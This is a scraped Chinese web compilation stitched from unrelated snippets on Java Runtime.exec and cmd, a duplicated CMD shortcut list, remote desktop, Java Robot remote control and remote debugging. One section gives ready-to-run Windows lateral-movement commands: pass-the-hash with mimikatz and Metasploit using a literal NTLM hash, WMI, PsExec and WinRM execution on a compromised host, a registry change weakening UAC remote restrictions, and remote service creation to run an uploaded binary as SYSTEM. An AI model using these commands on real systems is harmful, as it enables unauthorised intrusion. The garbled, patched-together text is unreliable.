Java实现的cmd远程控制程序

合集下载

java执行windows下cmd命令的方法

java执行windows下cmd命令的方法

java执⾏windows下cmd命令的⽅法本⽂实例讲述了java执⾏windows下cmd命令的⽅法。

分享给⼤家供⼤家参考。

具体实现代码如下:复制代码代码如下://获取运⾏时Runtime rt = Runtime.getRuntime();//获取进程Process p = rt.exec(String[] cmdarray);//或者 Process p = rt.exec(String cmd);//如果p不为空,那么要清空if(null!=p){destory p.destory(); p=null;}例如:复制代码代码如下:Runtime rt = Runtime.getRuntime();Process p = rt.exec("cmd.exe /c shutdown -a");System.out.println(p.toString());cmd /c dir 是执⾏完dir命令后关闭命令窗⼝。

cmd /k dir 是执⾏完dir命令后不关闭命令窗⼝。

cmd /c start dir 会打开⼀个新窗⼝后执⾏dir指令,原窗⼝会关闭。

cmd /k start dir 会打开⼀个新窗⼝后执⾏dir指令,原窗⼝不会关闭。

可以⽤cmd /?查看帮助信息。

补充:★CMD命令★1. gpedit.msc-----组策略2. sndrec32-------录⾳机3. Nslookup-------IP地址侦测器4. explorer-------打开资源管理器5. logoff---------注销命令6. tsshutdn-------60秒倒计时关机命令7. lusrmgr.msc----本机⽤户和组8. services.msc---本地服务设置9. oobe/msoobe /a----检查XP是否激活10. notepad--------打开记事本11. cleanmgr-------垃圾整理12. net start messenger----开始信使服务13. compmgmt.msc---计算机管理14. net stop messenger-----停⽌信使服务15. conf-----------启动netmeeting16. dvdplay--------DVD播放器17. charmap--------启动字符映射表18. diskmgmt.msc---磁盘管理实⽤程序19. calc-----------启动计算器20. dfrg.msc-------磁盘碎⽚整理程序21. chkdsk.exe-----Chkdsk磁盘检查22. devmgmt.msc--- 设备管理器23. regsvr32 /u *.dll----停⽌dll⽂件运⾏24. drwtsn32------ 系统医⽣25. rononce -p ----15秒关机26. dxdiag---------检查DirectX信息27. regedt32-------注册表编辑器28. Msconfig.exe---系统配置实⽤程序29. rsop.msc-------组策略结果集30. mem.exe--------显⽰内存使⽤情况31. regedit.exe----注册表32. winchat--------XP⾃带局域⽹聊天33. progman--------程序管理器34. winmsd---------系统信息35. perfmon.msc----计算机性能监测程序36. winver---------检查Windows版本37. sfc /scannow-----扫描错误并复原38. taskmgr-----任务管理器(2000/xp/200339. winver---------检查Windows版本40. wmimgmt.msc----打开windows管理体系结构(WMI)41. wupdmgr--------windows更新程序42. wscript--------windows脚本宿主设置43. write----------写字板44. winmsd---------系统信息45. wiaacmgr-------扫描仪和照相机向导46. winchat--------XP⾃带局域⽹聊天47. mem.exe--------显⽰内存使⽤情况48. Msconfig.exe---系统配置实⽤程序49. mplayer2-------简易widnows media player50. mspaint--------画图板51. mstsc----------远程桌⾯连接52. mplayer2-------媒体播放机53. magnify--------放⼤镜实⽤程序54. mmc------------打开控制台55. mobsync--------同步命令56. dxdiag---------检查DirectX信息57. drwtsn32------ 系统医⽣58. devmgmt.msc--- 设备管理器59. dfrg.msc-------磁盘碎⽚整理程序60. diskmgmt.msc---磁盘管理实⽤程序61. dcomcnfg-------打开系统组件服务62. ddeshare-------打开DDE共享设置63. dvdplay--------DVD播放器64. net stop messenger-----停⽌信使服务65. net start messenger----开始信使服务66. notepad--------打开记事本67. nslookup-------⽹络管理的⼯具向导68. ntbackup-------系统备份和还原69. narrator-------屏幕“讲述⼈”70. ntmsmgr.msc----移动存储管理器71. ntmsoprq.msc---移动存储管理员操作请求72. netstat -an----(TC)命令检查接⼝73. syncapp--------创建⼀个公⽂包74. sysedit--------系统配置编辑器75. sigverif-------⽂件签名验证程序76. sndrec32-------录⾳机77. shrpubw--------创建共享⽂件夹78. secpol.msc-----本地安全策略79. syskey---------系统加密,⼀旦加密就不能解开,保护windows xp系统的双重密码80. services.msc---本地服务设置81. Sndvol32-------⾳量控制程序82. sfc.exe--------系统⽂件检查器83. sfc /scannow---windows⽂件保护84. tsshutdn-------60秒倒计时关机命令85. tourstart------xp简介(安装完成后出现的漫游xp程序)86. taskmgr--------任务管理器87. eventvwr-------事件查看器88. eudcedit-------造字程序89. explorer-------打开资源管理器90. packager-------对象包装程序91. perfmon.msc----计算机性能监测程序92. progman--------程序管理器93. regedit.exe----注册表94. rsop.msc-------组策略结果集95. regedt32-------注册表编辑器96. rononce -p ----15秒关机97. regsvr32 /u *.dll----停⽌dll⽂件运⾏98. regsvr32 /u zipfldr.dll------取消ZIP⽀持99. cmd.exe--------CMD命令提⽰符100. chkdsk.exe-----Chkdsk磁盘检查101. certmgr.msc----证书管理实⽤程序102. calc-----------启动计算器103. charmap--------启动字符映射表104. cliconfg-------SQL SERVER 客户端⽹络实⽤程序105. Clipbrd--------剪贴板查看器106. conf-----------启动netmeeting107. compmgmt.msc---计算机管理108. cleanmgr-------垃圾整理109. ciadv.msc------索引服务程序110. osk------------打开屏幕键盘111. odbcad32-------ODBC数据源管理器112. oobe/msoobe /a----检查XP是否激活113. lusrmgr.msc----本机⽤户和组114. logoff---------注销命令115. iexpress-------⽊马捆绑⼯具,系统⾃带116. Nslookup-------IP地址侦测器117. fsmgmt.msc-----共享⽂件夹管理器118. utilman--------辅助⼯具管理器119. gpedit.msc-----组策略120. explorer-------打开资源管理器javac 其实执⾏了只是没有输出执⾏结果因为你没有输出执⾏结果的部分如果你执⾏复制代码代码如下:Runtime.getRuntime.exec("cmd");也看不到结果因为它不是在java程序中执⾏的⽽是在操作系统上执⾏的你可以这样复制代码代码如下:Runtime.getRuntime.exec("cmd /c start javac ");就可以看到⼀个命令⾏窗。

如何使用CMD命令行工具进行远程桌面管理

如何使用CMD命令行工具进行远程桌面管理

如何使用CMD命令行工具进行远程桌面管理远程桌面管理是一种方便的方式,可以帮助用户通过网络远程访问和控制其他计算机。

虽然有许多图形界面工具可供选择,但CMD命令行工具也提供了一种简单而有效的方法。

在本文中,我们将探讨如何使用CMD命令行工具进行远程桌面管理。

首先,我们需要确保目标计算机已启用远程桌面功能。

在目标计算机上,打开“控制面板”,然后选择“系统和安全”选项。

在“系统”下,点击“远程设置”。

在弹出的窗口中,确保选中了“允许远程连接到此计算机”选项。

根据需要,您还可以选择其他选项,如“允许仅运行最新的远程桌面客户端连接”或“允许网络级别身份验证”。

完成后,点击“确定”保存设置。

接下来,我们需要知道目标计算机的IP地址。

打开CMD命令行工具,输入“ipconfig”命令,然后按下回车键。

在输出中,找到“IPv4地址”一节,其中列出了计算机的IP地址。

请记下这个地址,我们将在后面的步骤中使用。

现在,我们可以使用CMD命令行工具建立远程桌面连接。

在本地计算机上,打开CMD命令行工具,并输入“mstsc”命令,然后按下回车键。

这将打开远程桌面连接工具。

在远程桌面连接工具中,输入目标计算机的IP地址,并点击“连接”按钮。

如果一切正常,您将看到一个弹出窗口,要求您输入目标计算机的凭据。

输入正确的用户名和密码,然后点击“确定”按钮。

一旦连接成功,您将能够在本地计算机上看到目标计算机的桌面。

您可以像操作本地计算机一样操作远程计算机,打开应用程序,查看文件,甚至进行文件传输。

当您完成远程操作后,只需关闭远程桌面连接窗口即可断开连接。

除了基本的远程桌面连接,CMD命令行工具还提供了其他一些有用的功能。

例如,您可以使用“/v”参数指定目标计算机的IP地址,而不需要打开远程桌面连接工具。

例如,输入“mstsc /v:192.168.1.100”将直接连接到IP地址为192.168.1.100的计算机。

此外,您还可以使用CMD命令行工具执行一些高级操作,如启用或禁用远程桌面功能,创建或删除远程桌面会话等。

Windows系统中Java调用cmd命令及执行exe程序的方法

Windows系统中Java调用cmd命令及执行exe程序的方法

Windows系统中Java调⽤cmd命令及执⾏exe程序的⽅法Java调⽤cmd命令,并输出显⽰信息:package com.anxin.cmd.test;import java.io.BufferedReader;import java.io.InputStreamReader;public class Command {public static void main(String[] args) {try {Runtime rt = Runtime.getRuntime();Process pr = rt.exec("cmd /c dir"); // cmd /c calc// Process pr = rt.exec("D:\ unlei\\project.aspx");BufferedReader input = new BufferedReader(new InputStreamReader(pr.getInputStream(), "GBK"));String line = null;while ((line = input.readLine()) != null) {System.out.println(line);}int exitVal = pr.waitFor();System.out.println("Exited with error code " + exitVal);} catch (Exception e) {System.out.println(e.toString());e.printStackTrace();}}}Java启动本机应⽤程序EXE的三种⽅式:第⼀种⽅式:利⽤cmd⽅式/*** 执⾏cmd命令** @param command* @throws IOException*/public static String executeCmd(String command) throws IOException {("Execute command : " + command);Runtime runtime = Runtime.getRuntime();Process process = runtime.exec("cmd /c " + command);BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));String line = null;StringBuilder build = new StringBuilder();while ((line = br.readLine()) != null) {(line);build.append(line);}return build.toString();}executeCmd(start "AXAdWebBrowser" "D:\AXAdsBrowser\AXAdWebBrowser.exe");第⼆种⽅式:利⽤ProcessBuilder调⽤cmd⽅式/*** 启动应⽤程序** @param programName* @return* @throws IOException*/public static void startProgram(String programPath) throws IOException {("启动应⽤程序:" + programPath);if (StringUtils.isNotBlank(programPath)) {try {String programName = programPath.substring(stIndexOf("/") + 1, stIndexOf(".")); List<String> list = new ArrayList<String>();list.add("cmd.exe");list.add("/c");list.add("start");list.add("\"" + programName + "\"");list.add("\"" + programPath + "\"");ProcessBuilder pBuilder = new ProcessBuilder(list);pBuilder.start();} catch (Exception e) {e.printStackTrace();log.error("应⽤程序:" + programPath + "不存在!");}}}第三种⽅式:使⽤Desktop启动应⽤程序/*** 启动应⽤程序** @param programName* @return* @throws IOException*/public static void startProgram(String programPath) throws IOException {("启动应⽤程序:" + programPath);if (StringUtils.isNotBlank(programPath)) {try {Desktop.getDesktop().open(new File(programPath));} catch (Exception e) {e.printStackTrace();log.error("应⽤程序:" + programPath + "不存在!");}}}。

使用Windows CMD命令进行远程控制的方法

使用Windows CMD命令进行远程控制的方法

使用Windows CMD命令进行远程控制的方法随着科技的发展,远程控制已经成为了现代生活中不可或缺的一部分。

无论是远程维护、远程教育还是远程办公,远程控制都能够为我们带来极大的便利。

在Windows操作系统中,CMD命令是一种常用的工具,它可以帮助我们实现远程控制。

本文将介绍使用Windows CMD命令进行远程控制的方法。

首先,我们需要确保在远程控制的过程中能够与目标设备建立连接。

为了实现这一点,我们可以使用CMD命令中的“ping”命令来测试网络连接。

在CMD窗口中输入“ping 目标IP地址”(例如:ping 192.168.0.1),然后按下回车键即可开始测试。

如果返回的结果显示“请求超时”或“无法访问目标主机”,那么说明目标设备与本机之间的连接存在问题,我们需要检查网络设置或者确保目标设备处于开机状态。

一旦我们确认与目标设备建立了连接,我们就可以开始使用CMD命令进行远程控制了。

CMD命令中的“telnet”命令可以帮助我们远程登录到目标设备。

在CMD窗口中输入“telnet 目标IP地址”(例如:telnet 192.168.0.1),然后按下回车键。

如果目标设备开启了telnet服务,并且我们输入的IP地址是正确的,那么我们将会被要求输入用户名和密码。

输入正确的用户名和密码后,我们就成功地远程登录到了目标设备。

一旦我们成功登录到目标设备,我们就可以使用CMD命令进行各种操作了。

例如,我们可以使用“ipconfig”命令查看目标设备的IP配置信息,使用“netstat”命令查看网络连接状态,使用“tasklist”命令查看正在运行的进程等等。

通过这些CMD命令,我们可以对目标设备进行详细的监控和管理。

除了telnet命令外,CMD命令中还有其他一些可以帮助我们实现远程控制的命令。

例如,我们可以使用“shutdown”命令来远程关闭目标设备,使用“regedit”命令来远程编辑目标设备的注册表,使用“schtasks”命令来远程管理目标设备的计划任务等等。

java打开本地应用程序(调用cmd)---Runtime用法详解

java打开本地应用程序(调用cmd)---Runtime用法详解

java打开本地应⽤程序(调⽤cmd)---Runtime⽤法详解 有时候我们需要借助java程序打开电脑⾃带的⼀些程序,可以直接打开或者借助cmd命令窗⼝打开⼀些常⽤的应⽤程序或者脚本,在cmd窗⼝执⾏的命令都可以通过这种⽅式运⾏。

例如:package cn.xm.exam.test;import java.io.IOException;import org.junit.Test;public class TestCmd {@Testpublic void test1() throws IOException {// 直接打开应⽤程序Runtime.getRuntime().exec("C:/Users/liqiang/Desktop/开机后点它.bat"); // 打开⼀个批处理⽂件Runtime.getRuntime().exec("E:/酷狗/KGMusic/KuGou.exe"); // 打开酷狗/******** 可以通过cmd命令打开软件或者是做其他 *****/Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe /k start E:/酷狗/KGMusic/KuGou.exe"); // 通过cmd窗⼝执⾏命令Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe /k start E:/php/Test/第⼀个html/界⾯.html"); // 通过cmd命令打开⼀个⽹页Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe /k mkdir C:\\Users\\liqiang\\Desktop\\java键的1"); // 通过cmd创建⽬录⽤两个反斜杠Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe /k mkdir C:\\Users\\liqiang\\Desktop\\java键的2"); // 通过cmd创建⽬录⽤两个反斜杠Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ");// 通过cmd打开计算器}@Testpublic void test2() throws IOException {/******** 可以通过cmd命令打开软件或者是做其他 *****/Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe /c osk");// 通过屏幕软键盘}}另外也可以获取⼀些其他的JVM参数:long totalMemory = Runtime.getRuntime().totalMemory();//总内存long freeMemory = Runtime.getRuntime().freeMemory();//剩余内存long maxMemory = Runtime.getRuntime().maxMemory();//最⼤内存System.out.println(totalMemory/1024/1024+"MB");System.out.println(freeMemory/1024/1024+"MB");System.out.println(maxMemory/1024/1024+"MB");也可以直接执⾏⼀些命令:Runtime.getRuntime().exec("calc");//打开计算器补充:上⾯的⽅式都是异步运⾏的⽅式,也就是在执⾏命令之后会不等exec执⾏完就执⾏下⼀条语句,为了实现同步结果,或者为了获取返回的结果,参考:import java.io.IOException;import java.io.InputStream;import org.slf4j.Logger;import org.slf4j.LoggerFactory;public final class Test {private static final Logger logger = LoggerFactory.getLogger(Test.class);public static void main(String[] args) throws NullPointerException {long start = System.currentTimeMillis();String srcPath = "C:/Users/liqiang/Desktop/ww/tt.docx", desPath = "C:/Users/liqiang/Desktop/ww";String command = "";String osName = System.getProperty("");if (osName.contains("Windows")) {command = "soffice --headless --convert-to pdf " + srcPath + " --outdir " + desPath;exec(command);}long end = System.currentTimeMillis();logger.debug("⽤时:{} ms", end - start);}public static boolean exec(String command) {Process process;// Process可以控制该⼦进程的执⾏或获取该⼦进程的信息try {logger.debug("exec cmd : {}", command);process = Runtime.getRuntime().exec(command);// exec()⽅法指⽰Java虚拟机创建⼀个⼦进程执⾏指定的可执⾏程序,并返回与该⼦进程对应的Process对象实例。

在MacOS上使用Java编写简单的控制台应用程序

在MacOS上使用Java编写简单的控制台应用程序

在MacOS上使用Java编写简单的控制台应用程序在MacOS系统上,使用Java编写简单的控制台应用程序是一项常见的任务。

Java作为一种跨平台的编程语言,可以在不同操作系统上运行,包括MacOS。

本文将介绍如何在MacOS系统上使用Java编写简单的控制台应用程序,帮助初学者快速入门。

准备工作在开始编写Java控制台应用程序之前,首先需要确保在MacOS 系统上已经安装了Java开发工具包(JDK)。

可以通过在终端中输入java -version命令来检查是否已经安装了JDK。

如果未安装,可以前往Oracle官网下载并安装最新版本的JDK。

编写第一个Java应用程序接下来,我们将编写一个简单的Java控制台应用程序。

首先,在任意目录下创建一个新的文件夹,例如HelloWorld,然后在该文件夹下创建一个名为HelloWorld.java的Java源代码文件。

示例代码star:编程语言:javapublic class HelloWorld {public static void main(String[] args) {System.out.println("Hello, World!");}}示例代码end以上代码是一个最简单的Java应用程序,其中定义了一个名为HelloWorld的类,该类包含一个名为main的方法,在该方法中使用System.out.println()方法输出”Hello, World!“到控制台。

编译和运行Java应用程序在MacOS系统上,可以使用终端来编译和运行Java应用程序。

首先打开终端,并切换到存放HelloWorld.java文件的目录下,然后执行以下命令来编译该Java文件:示例代码star:编程语言:bashjavac HelloWorld.java示例代码end如果编译成功,会生成一个名为HelloWorld.class的字节码文件。

如何通过Windows CMD命令进行远程操作与管理

如何通过Windows CMD命令进行远程操作与管理

如何通过Windows CMD命令进行远程操作与管理在现代信息技术的发展下,远程操作与管理已经成为了许多企业和个人的必备技能。

而在Windows操作系统中,CMD命令是一种强大的工具,可以帮助我们实现远程操作与管理的目标。

本文将介绍如何通过Windows CMD命令进行远程操作与管理。

一、远程登录远程登录是远程操作与管理的第一步。

在Windows中,我们可以使用CMD命令来实现远程登录。

首先,我们需要知道目标主机的IP地址或主机名。

然后,在CMD命令行中输入以下命令:```mstsc /v:目标主机IP地址或主机名```这个命令将打开远程桌面连接工具,并自动填写目标主机的IP地址或主机名。

接下来,我们只需要输入用户名和密码,就可以远程登录到目标主机了。

二、远程文件传输远程文件传输是远程操作与管理的另一个重要方面。

在Windows中,我们可以使用CMD命令来实现远程文件传输。

首先,我们需要知道目标主机的IP地址或主机名。

然后,在CMD命令行中输入以下命令:```copy 源文件路径目标主机IP地址或主机名的共享文件夹路径这个命令将把源文件复制到目标主机的共享文件夹中。

需要注意的是,目标主机的共享文件夹必须设置为可写权限。

三、远程进程管理远程进程管理是远程操作与管理的另一个重要方面。

在Windows中,我们可以使用CMD命令来实现远程进程管理。

首先,我们需要知道目标主机的IP地址或主机名。

然后,在CMD命令行中输入以下命令:```tasklist /s 目标主机IP地址或主机名 /u 用户名 /p 密码```这个命令将列出目标主机上的所有进程。

如果我们想结束某个进程,可以使用以下命令:```taskkill /s 目标主机IP地址或主机名 /u 用户名 /p 密码 /pid 进程ID```这个命令将结束指定进程ID的进程。

四、远程服务管理远程服务管理是远程操作与管理的另一个重要方面。

在Windows中,我们可以使用CMD命令来实现远程服务管理。

如何使用CMD命令行进行远程控制和管理

如何使用CMD命令行进行远程控制和管理

如何使用CMD命令行进行远程控制和管理在计算机网络中,远程控制和管理是一项重要的技能。

通过CMD命令行,我们可以远程控制和管理其他计算机,无论它们是在同一局域网内还是在不同的地理位置上。

本文将介绍如何使用CMD命令行进行远程控制和管理。

1. 远程控制远程控制是指通过CMD命令行远程操作其他计算机。

首先,我们需要确保目标计算机已经开启了远程控制功能。

在目标计算机上,打开“系统属性”窗口,选择“远程”选项卡,勾选“允许远程协助连接到此计算机”和“允许远程桌面连接到此计算机”选项。

然后,我们可以使用CMD命令行来远程控制目标计算机。

在本地计算机上,打开CMD命令行窗口,输入以下命令:```mstsc /v:目标计算机IP地址```其中,目标计算机IP地址是指要远程控制的计算机的IP地址。

按下回车键后,会弹出一个远程桌面连接窗口,输入目标计算机的用户名和密码,即可远程控制目标计算机。

2. 远程管理除了远程控制,我们还可以使用CMD命令行进行远程管理。

远程管理是指通过CMD命令行管理其他计算机的系统和服务。

下面列举了一些常用的远程管理命令:- 远程关机:使用以下命令可以远程关闭其他计算机:```shutdown /m \\目标计算机IP地址 /s /f```其中,/m参数指定目标计算机的IP地址,/s参数表示关闭计算机,/f参数表示强制关闭。

- 远程重启:使用以下命令可以远程重启其他计算机:```shutdown /m \\目标计算机IP地址 /r /f```其中,/m参数指定目标计算机的IP地址,/r参数表示重启计算机,/f参数表示强制重启。

- 远程查询系统信息:使用以下命令可以远程查询其他计算机的系统信息:```systeminfo /s 目标计算机IP地址```其中,/s参数指定目标计算机的IP地址。

- 远程管理服务:使用以下命令可以远程管理其他计算机的服务:```sc \\目标计算机IP地址 start/stop 服务名```其中,\\目标计算机IP地址指定目标计算机的IP地址,start/stop参数表示启动/停止服务,服务名指定要管理的服务名称。

学会使用Java编写控制台应用程序

学会使用Java编写控制台应用程序

学会使用Java编写控制台应用程序第一章:介绍控制台应用程序是一种在命令行界面下运行的程序,用户通过键入指令来与程序交互。

本章将介绍控制台应用程序的基本概念和特点。

控制台应用程序是Java编程语言的一种应用方式,它可以在不依赖于图形用户界面的情况下完成各种任务。

相比于图形界面程序,控制台应用程序更加灵活和高效。

第二章:环境搭建在学会编写Java控制台应用程序前,需要先搭建开发环境。

首先,需要安装Java Development Kit(JDK),并配置环境变量。

其次,选择一款好用的集成开发环境(IDE),如Eclipse或IntelliJ IDEA。

建议初学者使用Eclipse,因为它简单易用,同时也提供了丰富的功能和调试工具。

第三章:基本语法掌握Java的基本语法是编写控制台应用程序的关键。

在这一章节中,将介绍Java的数据类型、变量、运算符、条件判断和循环等基础知识。

这些基本概念是理解和编写控制台应用程序的基础。

第四章:输入和输出控制台应用程序需要与用户进行交互,因此输入和输出是必不可少的功能。

Java提供了一系列类和方法来实现输入和输出操作。

本章节将介绍如何使用Java的输入输出流(IOStream)来实现控制台输入和输出。

第五章:文件操作控制台应用程序常常需要读取和写入文件,以完成一些复杂的任务。

Java提供了File类来处理文件和目录。

本章节将介绍如何使用File类来进行文件的读写、创建、删除等操作。

第六章:异常处理在编写控制台应用程序时,难免会遇到一些错误和异常。

Java提供了异常处理机制来处理这些异常情况。

本章节将介绍如何使用try-catch语句来捕获和处理异常,以保证程序的稳定性和可靠性。

第七章:面向对象面向对象编程是Java编程的核心思想。

在控制台应用程序中,也可以充分应用面向对象的思想,使程序结构更加清晰和易于维护。

本章节将介绍面向对象编程的基本概念,如类、对象、继承、多态等。

java调用CMD命令方法详解

java调用CMD命令方法详解

可以用cmd /?查看帮助信息。
★CMD命令★
1. gpedit.msc-----组策略
2. sndrec32-------录音机
3. Nslookup-------IP地址侦测器
4. explorer-------打开资源管理器
5. logoff---------注销命令
79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
80. services.msc---本地服务设置
81. Sndvol32-------音量控制程序
82. sfc.exe--------系统文件检查器
83. sfc /scannow---windows文件保护
67. nslookup-------网络管理的工具向导
68. ntbackup-------系统备份和还原
69. narrator-------屏幕“讲述人”
70. ntmsmgr.msc----移动存储管理器
71. ntmsoprq.msc---移动存储管理员操作请求
72. netstat -an----(TC)命令检查接口
40. wmimgmt.msc----打开windows管理体系结构(WMI)
41. wupdmgr--------windows更新程序
42. wscript--------windows脚本宿主设置
43. write----------写字板
44. winmsd---------系统信息
29. rsop.msc-------组策略结果集
30. mem.exe--------显示内存使用情况

如何使用Windows CMD命令进行远程桌面操作

如何使用Windows CMD命令进行远程桌面操作

如何使用Windows CMD命令进行远程桌面操作Windows CMD命令是Windows操作系统中的一个重要工具,可以通过它来进行各种系统管理和操作。

其中,远程桌面操作是一项非常实用的功能,可以帮助用户远程控制其他计算机,实现远程协助、远程管理等功能。

本文将介绍如何使用Windows CMD命令进行远程桌面操作。

首先,我们需要确保目标计算机已经开启了远程桌面功能。

在Windows操作系统中,可以通过控制面板中的系统和安全选项来开启远程桌面功能。

具体步骤如下:1. 打开控制面板,选择“系统和安全”选项。

2. 在“系统和安全”选项中,找到“系统”选项,点击进入。

3. 在“系统”选项中,点击左侧的“远程设置”链接。

4. 在弹出的窗口中,勾选“允许远程连接到此计算机”选项。

5. 如果需要,可以进一步设置远程桌面的连接权限和安全性选项。

完成以上步骤后,我们就可以开始使用CMD命令进行远程桌面操作了。

首先,我们需要打开CMD命令行窗口。

可以通过按下Win+R键,然后输入“cmd”命令来打开CMD窗口。

接下来,我们可以使用“mstsc”命令来打开远程桌面连接窗口。

在CMD窗口中输入“mstsc”命令后,按下回车键即可打开远程桌面连接窗口。

在远程桌面连接窗口中,我们需要输入目标计算机的IP地址或计算机名来建立连接。

如果目标计算机与当前计算机在同一局域网中,可以直接输入目标计算机的计算机名;如果目标计算机与当前计算机在不同的网络中,可以输入目标计算机的IP地址。

在输入完目标计算机的IP地址或计算机名后,点击“连接”按钮,系统将会尝试建立与目标计算机的远程连接。

如果连接成功,将会弹出一个登录窗口,要求输入目标计算机的用户名和密码。

输入正确的用户名和密码后,点击“确定”按钮,即可成功登录到目标计算机的桌面。

在远程桌面连接窗口中,我们可以像操作本地计算机一样操作远程计算机。

可以打开应用程序、访问文件、配置系统等。

如果需要断开与远程计算机的连接,可以在远程桌面连接窗口中点击“关闭”按钮,或者直接关闭远程桌面连接窗口。

windows远程执行cmd命令的9种方法

windows远程执行cmd命令的9种方法

windows远程执⾏cmd命令的9种⽅法⼀、远程执⾏命令⽅式及对应端⼝:IPC$+AT 445PSEXEC 445WMI 135Winrm 5985(HTTP)&5986(HTTPS)⼆、9种远程执⾏cmd命令的⽅法:1.WMI执⾏命令⽅式,⽆回显:wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"2.使⽤Hash直接登录Windows(HASH传递)抓取windows hash值,得到administrator的hash:598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFmsf调⽤payload:use exploit/windows/smb/psexecshow optionsset RHOST 192.168.81.129set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFset SMBUser Administratorshow optionsrun3. mimikatz传递hash⽅式连接+at计划任务执⾏命令:mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" //传递hash dir \\192.168.1.185\c$4.WMIcmd执⾏命令,有回显:WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"程序下载地址:5.Cobalt strkie远程执⾏命令与hash传递攻击:6.psexec.exe远程执⾏命令psexec /accepteula //接受许可协议sc delete psexesvcpsexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe7.psexec.vbs远程执⾏命令cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"8.winrm远程执⾏命令//⾁机上⾯快速启动winrm服务,并绑定到5985端⼝:winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts="*"}netstat -ano|find "5985"//客户端连接⽅式:winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123cmd//UAC问题,修改后,普通管理员登录后也是⾼权限:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fwinrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"9.远程命令执⾏sc//建⽴ipc连接(参见net use + at)后上传等待运⾏的bat或exe程序到⽬标系统上,创建服务(开启服务时会以system 权限在远程系统上执⾏程序):net use \\192.168.17.138\c$ "admin123" /user:pt007net usedir \\192.168.17.138\c$copy test.exe \\192.168.17.138\c$sc \\192.168.17.138 create test binpath= "c:\test.exe"sc \\192.168.17.138 start testsc \\192.168.17.138 del test。

CMD命令行中的远程桌面和远程访问技巧

CMD命令行中的远程桌面和远程访问技巧

CMD命令行中的远程桌面和远程访问技巧在计算机的日常使用中,我们经常需要远程访问其他计算机或者远程控制其他计算机。

这时,CMD命令行中的远程桌面和远程访问技巧就显得非常重要。

本文将介绍一些CMD命令行中的远程桌面和远程访问技巧,帮助读者更好地利用CMD命令行进行远程操作。

远程桌面是一种远程控制计算机的技术,通过远程桌面,我们可以在本地计算机上操作远程计算机。

在CMD命令行中,我们可以使用mstsc命令来打开远程桌面连接窗口。

输入mstsc命令后,会弹出一个窗口,我们可以在窗口中输入远程计算机的IP地址或者计算机名,然后点击连接按钮即可远程访问该计算机。

除了mstsc命令,CMD命令行中还有其他一些命令可以实现远程桌面功能。

例如,使用query命令可以查看当前计算机上的远程桌面连接情况。

输入query命令后,系统会列出当前所有的远程桌面连接,包括连接的用户名、会话ID等信息。

这对于管理多个远程桌面连接非常有帮助。

在CMD命令行中,我们还可以使用远程桌面命令来控制远程计算机的一些操作。

例如,使用shutdown命令可以远程关闭计算机。

输入shutdown /m \\计算机名/s命令后,系统会向指定的远程计算机发送关闭命令,该计算机将会执行关机操作。

同样,我们还可以使用其他命令来实现远程计算机的重启、注销等操作。

除了远程桌面,CMD命令行中还有一些其他的远程访问技巧。

例如,我们可以使用ping命令来测试远程计算机的连通性。

输入ping IP地址或者计算机名命令后,系统会向指定的远程计算机发送网络请求,如果远程计算机正常运行并且网络通畅,系统会返回一些网络延迟和丢包率等信息。

这对于排查网络问题非常有帮助。

另外,CMD命令行中还有一些命令可以实现远程文件传输。

例如,使用xcopy 命令可以将本地计算机上的文件复制到远程计算机上。

输入xcopy 源文件路径目标文件路径命令后,系统会将指定的文件从本地计算机复制到远程计算机上。

java实现远程控制

java实现远程控制

Java 远程控制远程监控或远程教学,常常需要对计算机的屏幕进行截取,由于屏幕截取是比较接近操作系统的操作。

Java JDK的Robot对象,该对象不仅可以完成屏幕图像截取操作,而且可以控制鼠标,键盘,如此便可以轻而易举地实现远程服务器的控制。

本文介绍如何使用Java Robot对象实现远程服务器的控制,并给出了相应的Java源代码。

实现原理:(1).被控端通过Robot截取桌面图像通过socket通信传给主控端。

(2).主控端显示被控端桌面,并且把基于被控端图像上的键盘,鼠标事件通过socket 通信传给被控端。

(3).被控端响应主控端的鼠标键盘事件。

实现详解:一.被控端向主控端传递图像(1).被控端获取屏幕图像/*---获得屏幕的大小---*/Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();/*----对屏幕进行截取---*/BufferedImage screenshot = (new Robot()).createScreenCapture(new Rectangle(0,0,(int) dimension.getWidth(), (int) dimension.getHeight()));(2).开启图像传送线程public void run() {try {ServerSocket server = new ServerSocket(port);Socket connection = server.accept();while (true) {try {// 截取屏幕图像,保存至BufferedImagejava.awt.image.BufferedImage image = (new ShotImage()).snapShot();// 将图像BufferedImage向主控制端传输javax.imageio.ImageIO.write(image, "jpg",connection.getOutputStream());Thread.sleep(...); // 截取2张屏幕图像的时间间隔} catch (IOException ee) {System.err.println(ee);}}二.主控端显示被控端桌面,并且把基于被控端图像上的键盘,鼠标事件通过socket通信传给被控端。

java实现远程调试

java实现远程调试

java实现远程调试远程调试主动连接调试:服务端配置监控端⼝,本地IDE连接远程监听端⼝进⾏调试,⼀般调试问题⽤这种⽅式。

被动连接调试:本地IDE监听某端⼝,等待远程连接本地端⼝。

⼀般⽤于远程服务启动不了,启动时连接到本地调试分析。

